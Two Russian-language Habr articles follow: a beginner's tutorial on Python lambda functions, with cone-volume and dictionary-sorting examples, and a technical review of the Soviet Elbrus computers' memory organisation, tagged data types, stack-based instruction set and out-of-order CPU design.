**Лямбда функция работает по следующему принципу**
```
print((lambda перечисляются аргументы через запятую : что то с ними делается)(передаем аргументы))
>>>получаем результат того что находится после двоеточия строкой выше
```
Рассмотрим пример с двумя входными аргументами. Например, нам надо посчитать объем конуса по следующей формуле:
```
V = (height*pi_const*(radius**2))/3
```
Запишем это все в python:
```
import math #Подключаем библиотеку math
pi_const = round(math.pi, 2) #округляем pi до второго знака после запятой иначе она будет выглядеть как 3.141592653589793 а нам это будет неудобно
#Формула объема конуса в классической форме записи
def cone_volume(height, radius):
volume = (height*pi_const*(radius**2))/3
return volume
print(cone_volume(3, 10))
>>>314.0
```
А теперь как это будет выглядеть в lambda форме:
```
import math #Подключаем библиотеку math
pi_const = round(math.pi, 2) #округляем pi до второго знака после запятой иначе она будет выглядеть как 3.141592653589793 а нам это будет неудобно
print((lambda height, radius : (height*pi_const*(radius**2))/3)(3, 10))
>>>314.0
```
Количество переменных здесь никак не ограничено. Для примера посчитаем объем усеченного конуса, где у нас учитываются 3 разные переменные.
Объем усеченного конуса считается по формуле:
```
V = (pi_const*height*(r1**2 + r1*r2 + r2**2))/3
```
И вот, как это будет выглядеть в python классически:
```
import math #Подключаем библиотеку math
pi_const = round(math.pi, 2) #округляем pi до второго знака после запятой иначе она будет выглядеть как 3.141592653589793 а нам это будет неудобно
#Формула объема усеченного конуса в классической записи
def cone_volume(h,r1,r2):
return (pi_const * h * (r1 ** 2 + r1 * r2 + r2 ** 2))/3
print(cone_volume(12, 8, 5))
print(cone_volume(15, 10, 6))
print(cone_volume(20, 12, 9))
>>>1620.24
>>>3077.20
>>>6970.8
```
А теперь покажем, как это будет выглядеть с lambda:
```
import math #Подключаем библиотеку math
pi_const = round(math.pi, 2) #округляем pi до второго знака после запятой иначе она будет выглядеть как 3.141592653589793 а нам это будет неудобно
print((lambda height, radius1, radius2 : (height*pi_const*(radius1**2 + radius1*radius2 + radius2**2))/3)(12, 8, 5))
print((lambda height, radius1, radius2 : (height*pi_const*(radius1**2 + radius1*radius2 + radius2**2))/3)(15, 10, 6))
print((lambda height, radius1, radius2 : (height*pi_const*(radius1**2 + radius1*radius2 + radius2**2))/3)(20, 12, 9))
>>>1620.24
>>>3077.20
>>>6970.8
```
После того, как мы разобрались, как работает lambda функция, давайте разберем ещё кое-что интересное, что можно делать с помощью lambda функции, что может оказаться для вас весьма неожиданным — Сортировку.
Сортировать одномерные списки в python с помощью lambda довольно глупо — это будет выглядеть, как бряцание мускулами там, где оно совсем не нужно.
Ну серьезно допустим, у нас есть обычный список (не важно состоящий из строк или чисел) и нам надо его отсортировать — тут же проще всего использовать встроенную функцию sorted(). И в правду, давайте посмотрим на это.
```
new_int_list = [43,23,56,75,12,32] # Создаем список чисел
print(sorted(new_int_list)) # Сортируем список чисел
new_string_list = ['zum6z', 'yybt0', 'h1uwq', '2k9f9', 'hin9h', 'b0p0m'] # Создаем список строк
print(sorted(new_string_list)) # Сортируем список строк
>>>[12, 23, 32, 43, 56, 75]
>>>['2k9f9', 'b0p0m', 'h1uwq', 'hin9h', 'yybt0', 'zum6z']
```
В таких ситуациях, действительно, хватает обычного sorted() (ну или sort(), если вам нужно изменить текущий список на месте без создания нового, изменив исходный).
Но что, если нужно отсортировать список словарей по разным ключам? Тут может быть запись как в классическом стиле, так и в функциональном. Допустим, у нас есть список книг вселенной Песни Льда и Пламени с датами их публикаций и количеством страниц в них.
Как всегда, начнем с классической записи.
```
# Создали список из словарей книг
asoiaf_books = [
{'title' : 'Game of Thrones', 'published' : '1996-08-01', 'pages': 694},
{'title' : 'Clash of Kings', 'published' : '1998-11-16', 'pages': 761},
{'title' : 'Storm of Swords', 'published' : '2000-08-08', 'pages': 973},
{'title' : 'Feast for Crows', 'published' : '2005-10-17', 'pages': 753},
{'title' : 'Dance with Dragons', 'published' : '2011-07-12', 'pages': 1016}
]
# Функция по получению названия книги
def get_title(book):
return book.get('title')
# Функция по получению даты публикации книги
def get_publish_date(book):
return book.get('published')
# Функция по получению количества страниц в книге
def get_pages(book):
return book.get('pages')
# Сортируем по названию
asoiaf_books.sort(key=get_title)
for book in asoiaf_books:
print(book)
print('-------------')
# Сортируем по датам
asoiaf_books.sort(key=get_publish_date)
for book in asoiaf_books:
print(book)
print('-------------')
# Сортируем по количеству страниц
asoiaf_books.sort(key=get_pages)
for book in asoiaf_books:
print(book)
>>>{'title': 'Clash of Kings', 'published': '1998-11-16', 'pages': 761}
>>>{'title': 'Dance with Dragons', 'published': '2011-07-12', 'pages': 1016}
>>>{'title': 'Feast for Crows', 'published': '2005-10-17', 'pages': 753}
>>>{'title': 'Game of Thrones', 'published': '1996-08-01', 'pages': 694}
>>>{'title': 'Storm of Swords', 'published': '2000-08-08', 'pages': 973}
>>>-------------
>>>{'title': 'Game of Thrones', 'published': '1996-08-01', 'pages': 694}
>>>{'title': 'Clash of Kings', 'published': '1998-11-16', 'pages': 761}
>>>{'title': 'Storm of Swords', 'published': '2000-08-08', 'pages': 973}
>>>{'title': 'Feast for Crows', 'published': '2005-10-17', 'pages': 753}
>>>{'title': 'Dance with Dragons', 'published': '2011-07-12', 'pages': 1016}
>>>-------------
>>>{'title': 'Game of Thrones', 'published': '1996-08-01', 'pages': 694}
>>>{'title': 'Feast for Crows', 'published': '2005-10-17', 'pages': 753}
>>>{'title': 'Clash of Kings', 'published': '1998-11-16', 'pages': 761}
>>>{'title': 'Storm of Swords', 'published': '2000-08-08', 'pages': 973}
>>>{'title': 'Dance with Dragons', 'published': '2011-07-12', 'pages': 1016}
```
А теперь перепишем это все через lambda функцию:
```
# Создали список из словарей книг
asoiaf_books = [
{'title' : 'Game of Thrones', 'published' : '1996-08-01', 'pages': 694},
{'title' : 'Clash of Kings', 'published' : '1998-11-16', 'pages': 761},
{'title' : 'Storm of Swords', 'published' : '2000-08-08', 'pages': 973},
{'title' : 'Feast for Crows', 'published' : '2005-10-17', 'pages': 753},
{'title' : 'Dance with Dragons', 'published' : '2011-07-12', 'pages': 1016}
]
# Сортируем по названию
for book in sorted(asoiaf_books, key=lambda book: book.get('title')):
print(book)
print('-------------')
# Сортируем по датам
for book in sorted(asoiaf_books, key=lambda book: book.get('published')):
print(book)
print('-------------')
# Сортируем по количеству страниц
for book in sorted(asoiaf_books, key=lambda book: book.get('pages')):
print(book)
>>>{'title': 'Clash of Kings', 'published': '1998-11-16', 'pages': 761}
>>>{'title': 'Dance with Dragons', 'published': '2011-07-12', 'pages': 1016}
>>>{'title': 'Feast for Crows', 'published': '2005-10-17', 'pages': 753}
>>>{'title': 'Game of Thrones', 'published': '1996-08-01', 'pages': 694}
>>>{'title': 'Storm of Swords', 'published': '2000-08-08', 'pages': 973}
>>>-------------
>>>{'title': 'Game of Thrones', 'published': '1996-08-01', 'pages': 694}
>>>{'title': 'Clash of Kings', 'published': '1998-11-16', 'pages': 761}
>>>{'title': 'Storm of Swords', 'published': '2000-08-08', 'pages': 973}
>>>{'title': 'Feast for Crows', 'published': '2005-10-17', 'pages': 753}
>>>{'title': 'Dance with Dragons', 'published': '2011-07-12', 'pages': 1016}
>>>-------------
>>>{'title': 'Game of Thrones', 'published': '1996-08-01', 'pages': 694}
>>>{'title': 'Feast for Crows', 'published': '2005-10-17', 'pages': 753}
>>>{'title': 'Clash of Kings', 'published': '1998-11-16', 'pages': 761}
>>>{'title': 'Storm of Swords', 'published': '2000-08-08', 'pages': 973}
>>>{'title': 'Dance with Dragons', 'published': '2011-07-12', 'pages': 1016}
```
Таким образом, lambda функция хорошо подходит для сортировки многомерных списков по разным параметрам.
Если вы повторите весь этот код самостоятельно, написав его сами, то я уверен, что с этого момента вы сможете сказать, что отныне вы понимаете, как работают lambda выражения, и сможете применять их в работе.
Но где же тут та самая экономия места, времени и памяти? Экономится максимум пара строк.
И вот тут мы подходим к реально интересным вещам.
Которые разберем в следующей статье, где мы обсудим map функцию.
**UPD:** По многочисленным просьбам, расставил знаки препинания. | https://habr.com/ru/post/507642/ | null | ru | null |
# Советские «Эльбрусы» — обзор архитектуры
Про предмет статьи ходит много домыслов — от «русский Барроуз» до «не имеющий аналогов». Вызвано это в немалой степени отсутствием (доступной) полноценной документации, немногочисленным кругом лиц, имевших с ними дело да и немалым временем, прошедшим с тех пор. «Эльбрус» превратился в один из мифов ушедшей эпохи.
С другой стороны, вычислительный комплекс несомненно существовал и показывал отличные для своего времени результаты. Возможно, благодаря скудости элементной базы, которая принуждала разработчиков к выдумыванию разного рода архитектурных трюков. Многие из этих трюков сейчас выглядят архаично, а некоторые достаточно актуальны.
Так что автор из свойственной ему любознательности попытался разобраться с доступной документацией и составить более — менее цельную картину. Если читателю это интересно — добро пожаловать под кат.
### Элементная база
Новое поколение техники возникает не тогда, когда подросло новое поколение инженеров, а на основе качественных изменений в технологии. В том, что касается советских “Эльбрусов”, таким изменением стало появление интегральных схем. Для «Эльбрус-1», это была [133 серия](http://www.155la3.ru/k133.htm) микросхем с логикой [ТТЛ](https://ru.wikipedia.org/wiki/%D0%A2%D1%80%D0%B0%D0%BD%D0%B7%D0%B8%D1%81%D1%82%D0%BE%D1%80%D0%BD%D0%BE-%D1%82%D1%80%D0%B0%D0%BD%D0%B7%D0%B8%D1%81%D1%82%D0%BE%D1%80%D0%BD%D0%B0%D1%8F_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BA%D0%B0) (быстродействие 10...15 нс на вентиль). Для «Эльбрус-2» — [100-я серия](http://www.155la3.ru/k100.htm) с логикой [ЭСЛ](https://ru.wikipedia.org/wiki/%D0%AD%D0%BC%D0%B8%D1%82%D1%82%D0%B5%D1%80%D0%BD%D0%BE-%D1%81%D0%B2%D1%8F%D0%B7%D0%B0%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BB%D0%BE%D0%B3%D0%B8%D0%BA%D0%B0) (быстродействие 2 нс на вентиль).
100 серия сделана (серийный выпуск с 1974 г.) на основе MECL 10K от [Motorola](https://ru.wikipedia.org/wiki/Motorola) (с 1971 г.) [6]. 133 серия (с 1969 г.) базировалась на 54 серии от [TI](https://en.wikipedia.org/wiki/Texas_Instruments) (с 1965 г.) [6]. Т.е. какого-то особого отставания в элементной базе на тот момент не было.
### Организация памяти
#### Физическая память
Подсистема памяти строилась на базе микросхемы [К565РУ3В](https://ru.wikipedia.org/wiki/%D0%9A565%D0%A0%D0%A33) ([NMOP](https://ru.wikipedia.org/wiki/N-%D0%9C%D0%9E%D0%9F)) [3] ёмкостью 16Кбит и организацией 16384х1.
Аппаратура коррекции и контроля позволяет исправлять одиночные и обнаруживать двойные ошибки при считывании информации. Для этого при записи формируются и добавляются к 72-разрядному информационному слову восемь разрядов кода Хемминга. Таким образом, слово, хранящееся в памяти, содержит 80 разрядов, включая: 8 — управляющая информация (тег), 64 — данные, 8 — контрольные разряды кода Хемминга.
Адресная шина имеет разрядность — 24, т.е. размер физической памяти ограничен 16 мега-словами (по 72 бита), 144 Мб данных вместе с тегами.
Если считать вместе с кодами Хэмминга, получим 180 Мб или 90 Кмикросхем. Всё это удалось для максимальной комплектации разместить в 8 шкафах (секциях ОП).
В максимальную комплектацию входит 10 процессоров, при этом каждый процессор соединен с каждой секцией ОП. Длина линий связи выбрана примерно равной 10 м из условия размещения устройств комплекса. Такую длину свет пролетает в вакууме за ~1/30000000 секунды (33 нс). В Э-2 же сигналы передаются от выходного регистра передающей станции до регистра приемника за 80 нс (при рабочем цикле в 44 нс), что очень неплохо.
Каждый шкаф памяти (секция ОП) состоит из четырёх модулей памяти и коммутатора. Модули функционально независимы и могут одновременно обмениваться информацией с разными процессорами. Всего 32 модуля, в каждом по половине мега-слова. При групповом обращении все четыре модуля запускаются одновременно. Это позволяет получить максимальный темп обмена данными с секцией ОП.
Цикл работы модуля составляет 13 тактов, однако последовательные обращения к разным микросхемам одной группы могут обслуживаться каждые семь тактов.
На нижнем уровне, минимальный размер блока — 16К слов соответствует объему микросхемы памяти 16К бит. Блок состоит из 80 микросхем памяти, по одной микросхеме на разряд. Следовательно, модуль памяти состоит из 32 таких минимальных блоков.
#### Устройство обмена с оперативной памятью (УООП)
Является частью процессора. Имеет отдельный канал связи с каждой из восьми секций ОП и может обращаться в каждую секцию как с одиночными, так и с групповыми запросами.
При групповом запросе за одно обращение происходит обмен четырьмя словами. Время обращения по записи в память составляет для УООП около восьми тактов, время обращения по считыванию из памяти — около 20 тактов (обращение может быть задержано коммутатором ОП в случае занятости модуля памяти или конфликта по обращению с другим ЦП).
Одновременно в УООП может храниться до трех запросов. УООП имеет внутреннее распараллеливание на два канала, что позволяет выставлять одновременно два запроса на обмен в разные секции ОП. Максимальная частота смены в канале — один запрос за восемь тактов. Таким образом, при групповых обращениях к памяти УООП обеспечивает **темп обмена — одно слово за такт** [1].
Для оптимизации работы при последовательном обходе адресов используется техника расщепления (interleaving). Часть битов в физическом адресе перемешивается, в результате последовательно идущие слова оказываются в разных единицах вышеописанной иерархии памяти и могут читаться параллельно. Схема перемешивания такова:
При исключении отдельных модулей из конфигурации, операционная система не назначает их адреса. Наличие выключенного модуля делает невозможным расщепление в данной секции.
### Математическая (виртуальная) память
Математическая память описывается 38-разрядным математическим адресом при условии указания размещения величины с точностью до одного разряда (32-разрядным адресом при указании с точностью до машинного слова).
#### Величины
Основной единицей информации является величина. Величина -логическая единица информации, к которой можно адресоваться с помощью математического адреса. Над величинами же производятся операции при выполнении команд программ.
Величины могут иметь следующие размеры в разрядах (форматы): 1, 4, 8, 16, 32, 64, 128.
Ни одна из величин кроме 128-разрядной не может быть расположена более чем в одном слове.
В одном слове могут находиться величины только одинакового типа и формата за одним исключением: целое и вещественное формата 32 разряда могут быть упакованы в одном слове в любом порядке.
В управляющих разрядах слова хранится информация о типе и формате величин, находящихся в слове.
#### Страницы
Математическая память разбита на страницы. Страницы могут быть различных размеров (кратных 16) — от 16 до 1024 слов. Адрес начала страницы имеет младшие 10 (из 38) разрядов нулевыми [2 стр.61].
Блок из 16 слов, расположенный в математической памяти так, что в 38-разрядном адресе первого слова младшие 10 разрядов нулевые, называется строкой.
#### Сегменты
Сегменты — области непрерывной адресации, выделяемые системой. Начало любого сегмента в математической памяти совпадает с началом некоторой страницы.
Для размещения сегмента используется страница минимально возможного размера. Сегменты размером более 1024 слов размещаются в математической памяти на смежных страницах, при этом все страницы, кроме последней, должны иметь максимальный размер.
Начало страницы, а следовательно и сегмента, в физической памяти может размещаться в начале любой физической строки. Страница располагается в смежных ячейках физической памяти.
Поэтому сегмент размером более 1024 слов может присутствовать не полностью в физической памяти (swapping), а его страницы в физической памяти не обязаны идти подряд.
#### Поддержка виртуальной памяти.
Виртуальная память организована довольно логичным и естественным образом. Сегменты создаются ядром ОС, что неизбежно, учитывая теговую систему и вопросы защиты памяти.
Все свободные области памяти в ядре объединены в упорядоченный список свободных областей. Упорядочение производится по размеру области. В системе команд имеется специально для этих целей предназначенная команда “ПОИСК ПО СПИСКУ”, которая находит либо область, точно совпадающую по размеру с требуемым, либо минимально превосходящую по размеру требуемый размер. В первом случае найденная область исключается из списка, загружается в математическую память (если это требуется) и в качестве результата процедуры формируется дескриптор этой области. Во втором случае, если размер найденной области превосходит требуемый более чем на 15 слов, из найденной области забирается область требуемого размера, а остаток возвращается в область свободной памяти, где он будет включен в соответствующее место списка свободной памяти. Пользователю выдается дескриптор на область памяти размером, в точности совпадающим с запрашиваемым.
В том случае, если памяти требуемого размера нет, происходит попытка консолидации участков свободной памяти путем перемещения занятых участков меньшего размера, разделяющих соседние свободные области, в имеющиеся свободные области.
Если это не приводит к цели, происходит откачка (свопирование) занятых участков на внешние носители. Это не касается выполняемых сегментов, их можно просто освободить…
Каждая задача имеет свой файл откачки, а каждый сегмент знает свою задачу. Распределение свободной памяти в файле производится по битовой маске[2, стр.143], в которой один разряд соответствует странице. (Для математической памяти размером 2\*\*32, требуется маска в 2\*\*(32-16)=64К на задачу, что не так уж и мало. Кроме того, непонятно как быть со страницами размером меньше максимально возможных 8К.) Таким образом удаётся избежать проблем с поддержанием реестра свободных страниц в сравнении с общим файлом откачки. Ведь каждая задача имеет свою математическую память. Кроме того, высвобождение всей памяти процесса сводится к удалению его файла откачки, работа перекладывается на файловую систему. При относительно небольшом числе задач это отличный подход. К его минусам можно отнести разве что дополнительную нагрузку на файловую систему.
В ядре ОС есть задача, которая в фоновом режиме “подстригает” задачи [2, стр.143], сбрасывая некоторый процент страниц. Данные пассивных задач при этом постепенно оказываются в файлах откачки, активно работающие задачи балансируются.
Разберём теперь преобразование адреса из математического в физический. Все области памяти задачи (сегменты) объединены списком, голова и хвост которого расположены в дескрипторе задачи. Отметим, что в данной архитектуре не предусмотрены обращения по голому указателю в духе “C”, всегда преобразуется пара (указатель, смещение).
В упомянутом списке сегментов задачи с помощью инструкции “ПОИСК ПО СПИСКУ” находится описатель сегмента, а в нём физический адрес нужной страницы. Если в физической памяти данная страница отсутствует, включается механизм подкачки.
Для ускорения преобразования математического адреса в физический в ЦП для наиболее “активных” страниц предусмотрен ассоциативный массив размером в 64 элемента. Ассоциативным признаком является номер математической страницы, ответ — физический адрес начала страницы, ее размер, а также некоторые служебные признаки. Время поиска в этом ассоциативном массиве — 3 такта, темп обработки — одна заявка в такт.
Кроме того, само слово, к которому происходит обращение, вместе со своим математическим адресом помещается в ассоциативную память слов, которая также имеется у каждого ЦП. Такая память является аналогом современной кэш памяти.
Есть упоминание [2, стр.144] о таблице откачанных страниц (ТОС), предназначенной для размещения информации об откачанных или еще не инициализированных страницах. Голова этой таблицы находится в ОЗУ, область переполнения — во внешней памяти (барабане). Её величина пропорциональна количеству существующих страниц, а не всей математической памяти.
ТОС одна на систему, значит для каждой страницы надо запоминать еще и идентификатор задачи.
Для ускорения работы с ТОС в ядре предусмотрен кэш, причем, как утверждается, весьма эффективный. Но это странно, ведь для эффективного кэширования необходимо понимать логику работы прикладной задачи с памятью, а она разработчикам ОС неизвестна.
Итак:
* Страницы откачиваются на внешние носители фоновой задачей ядра, “подстригающей” задачи. Поэтому в ТОС они идут пачками и (вероятно) в упорядоченном виде.
* Свободное место в файлах откачки распределяется с помощью упомянутой битовой маски.
* Подкачиваются же страницы в произвольном порядке, определяемом логикой работы прикладных задач.
* Под ТОС отдали самую быструю (и самую маленькую — до 136 Мб) внешнюю память — [барабаны](http://ru.wikipedia.org/wiki/%D0%9C%D0%B0%D0%B3%D0%BD%D0%B8%D1%82%D0%BD%D1%8B%D0%B9_%D0%B1%D0%B0%D1%80%D0%B0%D0%B1%D0%B0%D0%BD), среднее время доступа 5-5,5 мс, темп обмена 3.6 Мб/с [2, стр.187]. В качестве сравнения, для дисков: среднее время доступа 60 мс, темп обмена — 180 Кб/с.
* Тем более обидно, если в процессе работы ТОС окажется фрагментированной и будет требовать избыточного места. Кроме того, со временем ТОС потеряет упорядоченность и для поиска нужной страницы её придется читать целиком.
* По всей видимости, хоть ТОС называется таблицей, она устроена как Б-дерево (1970г) или, например, аналогично хэш-таблице [DBM](https://en.wikipedia.org/wiki/Dbm) (1979 г), дёшево и сердито. Скорее первое, учитывая, что дерево-образная структура использована для распределения свободной памяти файловой системой [2, стр.146]. С другой стороны, в [2, стр. 200] можно увидеть сожаления по поводу того, что управление сегментами получилось слишком сложным и повлекло за собой применение отличного от принятого в ЕС ЭВМ интерфейса обмена ОЗУ с внешней памятью. Со всеми вытекающими последствиями.
### Типы данных
Как уже говорилось, слово состоит из 64 разрядов данных и 8 управляющих разрядов. Управляющие разряды содержат тег — описание того, что лежит в информационной части слова.
Это может быть:
1. Пусто формата 32 и 64 бита — обычно это неинициализированные данные. Пустышки вполне можно считывать, записывать, передавать в процедуры и даже проверять и менять биты. Но при попытке работать как с числами или с массивами — произойдёт прерывание.
2. Целое формата 32 и 64 бита — в отличие от распространенного ныне формата, здесь знак выделен в старший бит.
3. Вещественное 32 — знак мантиссы/знак порядка/порядок 6 разрядов/мантисса 24 разрядов
4. Вещественное 64 — знак мантиссы/знак порядка/порядок 6 разрядов/мантисса 56 разрядов
5. Вещественное 128 — знак мантиссы/знак порядка/порядок 6 разрядов/мантисса 56 разрядов/старшие разряды порядка — 8 разрядов/старшие разряды мантиссы — 56 разрядов. Вообще, формат чисел отличается от принятого сейчас IEEE 754. Он взят и системы 360.
6. Бит
7. Цифра — 4 разряда, обычно используется для представления десятичных чисел
8. Байт — 8 бит, обычно — символ строки
9. Набор — 64 разряда, совокупность однотипных элементов, которые не являются величинами и индивидуальный доступ к ним недопустим (SIMD?)
10. Дескриптор — 64 разряда, описатель области памяти, создается только ядром, содержит математический адрес, размер в элементах, размер элемента в разрядах, тип защиты памяти. Максимальный размер области, описываемой дескриптором, равен 2\*\*20 слов.
11. Индексное (косвенное) слово — 64 разряда — это счётчик цикла в Э-1.
В нём записано текущее значение счётчика, шаг цикла, и предельное значение(все по 20 разрядов+знак).
В арифметических операциях или операциях обращения к элементам массива автоматически преобразуется в целое, при операциях цикла происходит автоматическая проверка выхода за предельное значение и переход
по адресу или автоматическое изменение счётчика.
12. Косвенное слово имеет структуру дескриптора и отличается тем, что при считывании такого значения автоматически происходит считывание значения, на которое указывает адрес(может повторяться несколько раз).
13. Интервал — 64 разряда, применяется для получения дескриптора под-области из области, описываемой индексируемым дескриптором.
14. Метка операции перехода. Можно использовать только в команде GOTO. — 64 разряда, содержит
* математический адрес контекста охватывающей процедуры внутри которой эта метка описана. — 32 разряда
* номер байта от начала области — 16 разрядов
* дескриптор программного сегмента — 12 разрядов
* лексикографический уровень процедуры — 5 разрядов (0 — системные вызовы, 1&2 — пользовательские процедуры. 3 — первый выполняемый… [2, стр.43]).
15. Метка процедуры. Имеет ту же структуру, отличается тегом, можно использовать только в операциях входа в процедуру.
16. Техническая метка. Имеет ту же структуру, отличается тегом. При считывании происходит автоматический вход в процедуру без параметров, возвращающую одно значение.
17. Семафор — средство синхронизации в системе.
18. Заготовка массива. В системе Эльбрус не принято явно вызывать процедуру типа getmem или maloc.
Вместо этого в память кладётся так называемая заготовка массива- слово со специальным тегом, в котором указан размер массива и размер элемента массива. Если массив ни разу не понадобится, то заготовка так и останется заготовкой. Иначе при считывании такой заготовки произойдет прерывание, процедура обработки которого выделит память и запишет на место этой заготовки дескриптор выделенного массива.
### Особенности системы команд
1. Данные снабжены тегами, это позволяет аппаратно защищать их а также упростить систему команд, например, заменив целое семейство типизированных команд сложения на одну единственную — с учетом тегов.
2. Принята безадресная система команд, в результате чего отсутствует лишняя информация о распределении регистров. Эффективное динамическое распределение регистров реализует аппаратура. Безадресный формат команд базируется на аппаратной реализации стека.
3. Адресация данных в командах происходит по паре — сегмент/индекс с учетом контекста выполнения, а не по математическому адресу. Например, порядковый номер в области стека, отведенной для конкретной процедуры.
4. Для вызова функций помимо математического адреса используется довольно подробный дескриптор, в котором помимо всего прочего указан размер локального стека под данные и параметры. Реализовано отложенное выделение данных, при входе в функцию создается только дескриптор сегмента, собственно выделение происходит при первом обращении. Сообщается [2 стр.42], что, это новаторская техника. В самом деле, номер дескриптора функции идет аргументом вызова так же как и математический адрес кода. В x86, например, всю вспомогательную работу делает компилятор, размещая пролог и эпилог функции.
#### Безадресный код.
Мы говорим “безадресная система команд”, подразумеваем — “[стековый процессор](https://en.wikipedia.org/wiki/Stack_machine)”. Рассмотрим простой пример, вычисление выражения x+y\*z+u.
При построении [дерева разбора](https://ru.wikipedia.org/wiki/%D0%90%D0%B1%D1%81%D1%82%D1%80%D0%B0%D0%BA%D1%82%D0%BD%D0%BE%D0%B5_%D1%81%D0%B8%D0%BD%D1%82%D0%B0%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%BE%D0%B5_%D0%B4%D0%B5%D1%80%D0%B5%D0%B2%D0%BE) компилятором оно выглядит так:
Ассемблерный код (x86) для этого выражения:
```
mov eax,dword ptr [y]
imul eax,dword ptr [z]
mov ecx,dword ptr [x]
add ecx,eax
mov eax,ecx
add eax,dword ptr [u]
```
Для гипотетической стековой машины псевдокод таков:
```
push x
push y
push z
multiply
add
push u
add
```
Для работы со стеком необходимы операции следующих типов:
* запись элемента на вершину стека (push)
* удаление элемента с вершины стека (pop)
* бинарные операции, удаляющие два элемента с вершины стека и записывающие результат операции (+-\*/)
* унарные операции, замещают результат на вершине стека (смена знака)
Что нам предлагает архитектура Эльбруса?
1. **Операции загрузки в стек.** Информация может загружаться в стек либо непосредственно из командного потока, либо из области данных. В первом случае загружаемая величина находится в самой команде, во втором случае величина загружается по адресу, находящемуся либо в команде, либо в верхушке стека (загрузка по адресу).
Отметим, что поскольку стек реализован как циклический буфер из регистров, загрузка нового элемента может вызвать автоматическую выгрузку части стека в память.
Особый интерес представляет загрузка по адресу, при которой:
* по адресной паре находится математический адрес величины
* при этом проверяется возможность доступа к величине
* величина загружается в верхушку стека
* далее выполняется цикл
+ по тегу проверяется класс значений загруженной величины
+ если величина принадлежит классу значений, операция завершена
+ если это косвенное слово, происходит считывание по косвенному слову
+ метка процедуры, является вполне себе значением, цикл останавливается
+ если это *техническая* метка процедуры, вызывается процедура, которая должна оставить свой результат на вершине стека
2. **Запись в память из стека.** Для этого нужны две величины с верхушки стека: величина и адрес записи. В качестве адреса записи может выступать либо адресная пара, либо косвенное слово. Запись производится «одношагово», то есть непосредственно по адресу записи.
3. **Арифметические операции**, операции отношения и логические операции. Арифметические операции производятся над одной или двумя величинами, содержащимися в верхушке стека. Как правило, операнды являются целыми или вещественными, причем, если операнды различного типа (целое и вещественное), то перед операцией производится автоматическое преобразование целого в вещественное. Если операнды имеют различные форматы, то перед операцией производится автоматическое «выравнивание длин» по наибольшей длине.
Исходные числа убираются из стека (с соответствующим смещением указателя), а затем результат помещается в верхушку стека.
Одноместные арифметические операции берут операнд из верхушки стека и заменяют его на результат.
### Центральный процессор
Структурная схема ЦП [1]:
* устройство обмена с оперативной памятью (УООП)
* буферная память команд (БК) объемом 512 слов для согласования темпа дешифрации команд и вызова программы из оперативной памяти
* устройство управления (УУ)
* 10 специализированных исполнительных устройств (ИУ) для выполнения команд
* базовые регистры (БР) для преобразования относительных адресов в абсолютные
* стек операндов (СтОп) объемом 256 слов для хранения промежуточных результатов операций
* буферная память (БП) 1024 слова, предназначена для хранения глобальных данных плюс буферная память массивов на 256 слов с предварительной подкачкой
* СВ – схема выборки (декодирования)
#### Декодирование
Программный код вычитывается в буфер команд (БК). БК работает как ассоциативный массив, имеет объем в 512 слов, которые поделены на 32 равных сегмента. Подкачка информации в БК из оперативной памяти производится блоками по четыре слова. Темп подкачки определяется необходимым запасом командных слов в буфере команд и автоматически регулируется при изменении темпа декодирования команд.
Схема выборки извлекает очередную команду из БК, дешифрует и передает в УУ для преобразования во внутренний регистровый формат.
#### Система внутренней адресации
Все передачи адресной и числовой информации сопровождаются в ЦП внутренним адресом источника или потребителя информации. Внутренние адреса присвоены буферу команд, стеку операндов (СтОп), БП и некоторым входным регистрам ИУ.
СтОп состоит из 32 регистров и 32-разрядного регистра — битовой маски. Каждый бит в этой маске отвечает за конкретный регистр, 1 — означает занят, 0 — свободен.
При выдаче команды в ИУ формируются внутренние адреса операндов и результата операции. Для операций со стеком, операнды и результат — номера регистров из СтОп.
Для декодирования команды суммирования, например, считается, что номера операндов уже получены ранее, можно назначать любой свободный регистр из СтОп. После того как команда исполнилась, операнды освобождаются.
#### Исполнение
Не все команды могут быть исполнены непосредственно после их декодирования, поэтому необходим буфер декодированных, но не исполненных команд. ЦП обладает таким буфером на 32 команды во внутреннем представлении.
Из декодера команды выдаются в последовательности, заданной программой. При этом они последовательно нумеруются и этот номер сопутствует команде всю её жизнь. Этот номер — индекс в упомянутом буфере декодированных команд, когда он доходит до 32, то опять начинает с нуля. Зная текущее значение, можно выстроить все команды в очереди по порядку их декодирования.
Время выполнения команд в ИУ определяется их типом и колеблется от 2 до 20 тактов для операций над операндами однократной точности (32) и до 30 тактов над операндами удвоенной точности (64). ??? Умножение(Ф64) — 4 такта. Деление (Ф64) — 24 такта.
Выполнение операций над вещественными числами формата Ф128 требует трехкратного сложения — сложения младших разрядов, сложения старших разрядов с учетом переноса из младших разрядов, повторного сложения младших разрядов с учетом переноса из старших разрядов. Для этого требуются станции хранения промежуточных результатов.
Исполняться команды начинают по готовности аргументов и доступности нужного исполнительного устройства. Т.к. порядок исполнения не обязательно совпадает с исходным, мы имеем внеочередное исполнение ([OoO](https://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%BE%D1%87%D0%B5%D1%80%D0%B5%D0%B4%D0%BD%D0%BE%D0%B5_%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D0%BD%D0%B5%D0%BD%D0%B8%D0%B5)). А поскольку исполнительных блоков несколько и работают они параллельно, налицо [суперскалярность](https://ru.wikipedia.org/wiki/%D0%A1%D1%83%D0%BF%D0%B5%D1%80%D1%81%D0%BA%D0%B0%D0%BB%D1%8F%D1%80%D0%BD%D0%BE%D1%81%D1%82%D1%8C). Правда, сумматор, делитель и умножитель в единственном экземпляре, но могут работать параллельно.
Учитывая, что всего имеется 10 исполнительных устройств, возникает вопрос, а сколько же инструкций за такт может быть исполнено. В [2 стр. 185] упоминается, что в технологическом режиме с последовательным выполнением команд производительность падает в 2-3 раза. В [4] говорится о 2 командах за такт. Связано это, по-видимому, с реализацией СтОп, которая допускает только две записи за такт.
##### Пример
Для демонстрации возможности вполне суперскалярного поведения, разберем выражение “(a \* b) + (c / d)”. При этом, переменные “a” & “c” расположены в области локальных переменных процедуры и присутствуют в кэше, а “b” & “d” глобальные и в кэше отсутствуют. Для простоты, все они типа F64.
Ассемблерный код выглядит примерно так:
```
ВЗ а
ДВЗ b
∗
ВЗ c
ДВЗ d
⁄
+
```
Где ВЗ означает “вызвать значение”, ДВЗ — “длинная ВЗ”, а мнемоники арифметических операций неизвестны.
